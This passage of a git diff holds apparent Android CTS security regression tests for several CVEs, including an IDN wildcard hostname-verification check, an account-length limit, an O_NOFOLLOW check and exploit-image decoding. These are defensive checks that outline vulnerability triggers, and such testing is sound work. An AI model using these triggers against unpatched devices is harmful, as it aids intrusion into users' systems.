+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+    private byte[] idData;
+    private String nameHost = null;
+    private int namePort = -1;
+    private Hashtable table;
+    private boolean invalidateDone = false;
+    private Certificate[] certs = null;
+    private javax.security.cert.X509Certificate[] xCerts = null;
+
+    public CVE_2021_0341_SSLSession(Certificate[] xc)
+            throws CertificateEncodingException, CertificateException {
+        certs = xc;
+        xCerts = new javax.security.cert.X509Certificate[xc.length];
+        int i = 0;
+        for (Certificate cert : xc) {
+            xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+        }
+    }
+
+    public int getApplicationBufferSize() {
+        return 1234567;
+    }
+
+    public String getCipherSuite() {
+        return "SuiteName";
+    }
+
+    public long getCreationTime() {
+        return 1000L;
+    }
+
+    public byte[] getId() {
+        return idData;
+    }
+
+    public long getLastAccessedTime() {
+        return 2000L;
+    }
+
+    public Certificate[] getLocalCertificates() {
+        return null;
+    }
+
+    public Principal getLocalPrincipal() {
+        return null;
+    }
+
+    public int getPacketBufferSize() {
+        return 12345;
+    }
+
+    public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (certs == null));
+        return certs;
+    }
+
+    public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+            throws SSLPeerUnverifiedException {
+        assumeFalse("peer not authenticated", (xCerts == null));
+        return xCerts;
+    }
+
+    public String getPeerHost() {
+        return nameHost;
+    }
+
+    public int getPeerPort() {
+        return namePort;
+    }
+
+    public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+        return null;
+    }
+
+    public String getProtocol() {
+        return "ProtocolName";
+    }
+
+    public SSLSessionContext getSessionContext() {
+        return null;
+    }
+
+    public void putValue(String s, Object obj) {
+        assumeFalse("arguments can not be null", (s == null || obj == null));
+        Object obj1 = table.put(s, obj);
+        if (obj1 instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+        }
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+        }
+    }
+
+    public void removeValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        Object obj = table.remove(s);
+        if (obj instanceof SSLSessionBindingListener) {
+            SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+            ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+        }
+    }
+
+    public Object getValue(String s) {
+        assumeFalse("argument can not be null", (s == null));
+        return table.get(s);
+    }
+
+    public String[] getValueNames() {
+        Vector vector = new Vector();
+        Enumeration enumeration = table.keys();
+        while (enumeration.hasMoreElements()) {
+            vector.addElement(enumeration.nextElement());
+        }
+        String as[] = new String[vector.size()];
+        vector.copyInto(as);
+        return as;
+    }
+
+    public void invalidate() {
+        invalidateDone = true;
+    }
+
+    public boolean isValid() {
+        return invalidateDone;
+    }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+    public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+            + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+            + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+            + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+            + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+            + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+            + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+            + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+            + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+            + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+            + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+            + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+            + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+            + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+            + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+            + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+            + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+    /**
+     * b/171980069
+     */
+    @AsbSecurityTest(cveBugId = 171980069)
+    @Test
+    public void testPocCVE_2021_0341() throws Exception {
+        CertificateFactory cf = CertificateFactory.getInstance("X.509");
+        assumeNotNull(cf);
+        HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+        assumeNotNull(verifier);
+        InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+        java.security.cert.X509Certificate x509 =
+                (java.security.cert.X509Certificate) cf.generateCertificate(in);
+        assumeNotNull(x509);
+        CVE_2021_0341_SSLSession session =
+                new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+        assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc71..d437142 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import dalvik.system.VMRuntime;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 import static org.junit.Assert.assertFalse;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
     static {
         System.loadLibrary("ctssecurity_jni");
     }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff..d4b0179 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.lang.reflect.Field;
 import java.util.Collections;
 import java.util.List;
@@ -34,7 +35,7 @@
 import static org.junit.Assume.assumeThat;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
 
     private String TAG = "CVE_2021_0521";
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37..b79070f 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
 
     private Instrumentation mInstrumentation;
 
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 0000000..0f44d8c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 169762606)
+    @Test
+    public void testPocCVE_2021_0934() {
+        try {
+            // Creating an account with arguments 'name' and 'type' whose
+            // lengths are greater than 200
+            String name = new String(new char[300]).replace("\0", "n");
+            String type = new String(new char[300]).replace("\0", "t");
+            Account acc = new Account(name, type);
+            assumeNotNull(acc);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/169762606, allowing account name/type "
+                    + "with character count 300 whereas limit is 200");
+        } catch (Exception e) {
+            if (e instanceof IllegalArgumentException) {
+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 0000000..0add1bd
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 200682135)
+    public void testPocCVE_2021_39663() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        ContentResolver contentResolver = context.getContentResolver();
+        try {
+            Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                    new ContentValues());
+            ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+            assumeNotNull(pfd);
+            FileDescriptor fd = pfd.getFileDescriptor();
+            int flags = Os.fcntlInt(fd, F_GETFL, 0);
+            pfd.close();
+            contentResolver.delete(uri, null, null);
+            assumeTrue("Unable to read file status flags", flags > 0);
+            assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+                    flags & O_NOFOLLOW);
+        } catch (ErrnoException | IOException e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6ce..2386053 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@
 
 import android.content.Context;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import java.io.InputStream;
 import java.security.KeyStore;
 import java.security.cert.Certificate;
@@ -32,7 +32,13 @@
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509TrustManager;
 
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
 
     private X509Certificate[] loadCertificates(int resource) throws Exception {
         CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@
     }
 
     @AsbSecurityTest(cveBugId = 26232830)
+    @Test
     public void testIntermediateVerification() throws Exception {
         X509TrustManager tm = getTrustManager();
         X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802..16c8905 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device fails to decode a large, corrupt BMP.
      *
@@ -33,8 +40,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 34778578)
+    @Test
     public void test_android_bug_34778578() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
@@ -46,8 +54,9 @@
      * decode.
      */
     @AsbSecurityTest(cveBugId = 67381469)
+    @Test
     public void test_android_bug_67381469() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
         assertNull(bitmap);
     }
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef702..2559094 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@
 import android.media.audiofx.PresetReverb;
 import android.media.MediaPlayer;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import android.util.Log;
 
 import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@
 import java.util.Arrays;
 import java.util.UUID;
 
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "EffectBundleTest";
     private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
     private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@
 
     //Testing security bug: 32436341
     @AsbSecurityTest(cveBugId = 32436341)
+    @Test
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -58,6 +66,7 @@
 
     //Testing security bug: 32588352
     @AsbSecurityTest(cveBugId = 32588352)
+    @Test
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -67,6 +76,7 @@
 
     //Testing security bug: 32438598
     @AsbSecurityTest(cveBugId = 32438598)
+    @Test
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -76,6 +86,7 @@
 
     //Testing security bug: 32584034
     @AsbSecurityTest(cveBugId = 32584034)
+    @Test
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -85,6 +96,7 @@
 
     //Testing security bug: 32247948
     @AsbSecurityTest(cveBugId = 32247948)
+    @Test
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -95,6 +107,7 @@
 
     //Testing security bug: 32588756
     @AsbSecurityTest(cveBugId = 32588756)
+    @Test
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -105,6 +118,7 @@
 
     //Testing security bug: 32448258
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -114,6 +128,7 @@
 
     //Testing security bug: 32588016
     @AsbSecurityTest(cveBugId = 32588016)
+    @Test
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -155,6 +170,7 @@
 
     //testing security bug: 32095626
     @AsbSecurityTest(cveBugId = 32095626)
+    @Test
     public void testEqualizer_setParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -171,6 +187,7 @@
 
     //testing security bug: 32585400
     @AsbSecurityTest(cveBugId = 32585400)
+    @Test
     public void testEqualizer_setParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -187,6 +204,7 @@
 
     //testing security bug: 32705438
     @AsbSecurityTest(cveBugId = 32705438)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -197,6 +215,7 @@
 
     //testing security bug: 32703959
     @AsbSecurityTest(cveBugId = 32703959)
+    @Test
     public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -207,6 +226,7 @@
 
     //testing security bug: 37563371 (short media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_short() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -217,6 +237,7 @@
 
     //testing security bug: 37563371 (long media)
     @AsbSecurityTest(cveBugId = 37563371)
+    @Test
     public void testEqualizer_setParamProperties_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -227,6 +248,7 @@
 
     //Testing security bug: 63662938
     @AsbSecurityTest(cveBugId = 63662938)
+    @Test
     public void testDownmix_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@
 
     //Testing security bug: 63526567
     @AsbSecurityTest(cveBugId = 63526567)
+    @Test
     public void testEnvironmentalReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@
 
     //Testing security bug: 67647856
     @AsbSecurityTest(cveBugId = 67647856)
+    @Test
     public void testPresetReverb_setParameter() throws Exception {
         verifyZeroPVSizeRejectedForSetParameter(
                 AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
@@ -478,36 +502,39 @@
             UUID effectType, final int paramCodes[]) throws Exception {
 
         boolean effectFound = false;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(effectType) != 0) continue;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(effectType) != 0) continue;
 
-            effectFound = true;
-            AudioEffect ae = null;
-            MediaPlayer mp = null;
-            try {
-                mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
-                java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class);
+                effectFound = true;
+                AudioEffect ae = null;
+                MediaPlayer mp = null;
                 try {
-                    ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
-                            /*priority*/ 0, mp.getAudioSessionId());
-                } catch (Exception e) {
-                    // Not every effect can be instantiated by apps.
-                    Log.w(TAG, "Failed to create effect " + descriptor.uuid);
-                    continue;
-                }
-                java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
-                        "command", int.class, byte[].class, byte[].class);
-                for (int paramCode : paramCodes) {
-                    executeSetParameter(ae, command, intSize, 0, paramCode);
-                    executeSetParameter(ae, command, 0, intSize, paramCode);
-                }
-            } finally {
-                if (ae != null) {
-                    ae.release();
-                }
-                if (mp != null) {
-                    mp.release();
+                    mp = MediaPlayer.create(getInstrumentation().getContext(), R.raw.good);
+                    java.lang.reflect.Constructor ct = AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class);
+                    try {
+                        ae = (AudioEffect) ct.newInstance(descriptor.type, descriptor.uuid,
+                                /*priority*/ 0, mp.getAudioSessionId());
+                    } catch (Exception e) {
+                        // Not every effect can be instantiated by apps.
+                        Log.w(TAG, "Failed to create effect " + descriptor.uuid);
+                        continue;
+                    }
+                    java.lang.reflect.Method command = AudioEffect.class.getDeclaredMethod(
+                            "command", int.class, byte[].class, byte[].class);
+                    for (int paramCode : paramCodes) {
+                        executeSetParameter(ae, command, intSize, 0, paramCode);
+                        executeSetParameter(ae, command, 0, intSize, paramCode);
+                    }
+                } finally {
+                    if (ae != null) {
+                        ae.release();
+                    }
+                    if (mp != null) {
+                        mp.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054..0ceee07 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
 
 package android.security.cts
 
-import android.app.Instrumentation
 import android.graphics.Rect
 import android.os.SystemClock
 import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@
 import androidx.test.ext.junit.rules.ActivityScenarioRule
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@
  * test code. The third approach requires adding an embedded window, and the code for that test was
  * forked to avoid excessive branching.
  */
-class FlagSlipperyTest {
-    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
     private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
     private lateinit var windowManager: WindowManager
 
@@ -132,10 +130,12 @@
     val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
             SlipperyEnterBottomActivity::class.java)
 
+    constructor() : super()
+
     @Before
     fun setup() {
         scenario = rule.getScenario()
-        windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+        windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
                 WindowManager::class.java)
         setDimensionsToQuarterScreen()
 
@@ -156,7 +156,7 @@
     // ========================== Regular window tests =============================================
 
     private fun addWindow(slipperyWhenAdded: Boolean): View {
-        val view = View(instrumentation.targetContext)
+        val view = View(getInstrumentation().targetContext)
         scenario.onActivity {
             view.setOnTouchListener(OnTouchListener(view))
             view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@
     private lateinit var mVr: SurfaceControlViewHost
 
     private fun addEmbeddedHostWindow(): SurfaceView {
-        val surfaceView = SurfaceView(instrumentation.targetContext)
+        val surfaceView = SurfaceView(getInstrumentation().targetContext)
         val surfaceCreated = CountDownLatch(1)
         scenario.onActivity {
             surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@
             embeddedViewDrawn.countDown()
         }
         layoutCompleted.set(false)
-        val embeddedView = View(instrumentation.targetContext)
+        val embeddedView = View(getInstrumentation().targetContext)
         scenario.onActivity {
             embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
             embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@
         PollingCheck.waitFor {
             layoutCompleted.get()
         }
-        instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+        getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
     }
 
     private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@
         }
         val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
         event.source = InputDevice.SOURCE_TOUCHSCREEN
-        instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+        getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
     }
 
     companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f..91e39e8 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
  */
 package android.security.cts;
 
+import android.app.Instrumentation;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -25,14 +26,21 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.IIsolatedService;
 import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
 import android.util.Log;
+import androidx.test.InstrumentationRegistry;
 import com.android.internal.util.ArrayUtils;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
 
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
     static final String TAG = IsolatedProcessTest.class.getSimpleName();
 
     private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@
         }
     };
 
-    @Override
+    private static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
     public void setUp() throws InterruptedException {
         mLatch = new CountDownLatch(1);
-        Intent serviceIntent = new Intent(mContext, IsolatedService.class);
-        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+        Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+        getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
         Assert.assertTrue("Timed out while waiting to bind to isolated service",
                 mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
     }
 
+    @Test
     @AsbSecurityTest(cveBugId = 30202228)
     public void testGetCachedServicesFromIsolatedService() throws RemoteException {
         String[] cachedServices = mService.getCachedSystemServices();
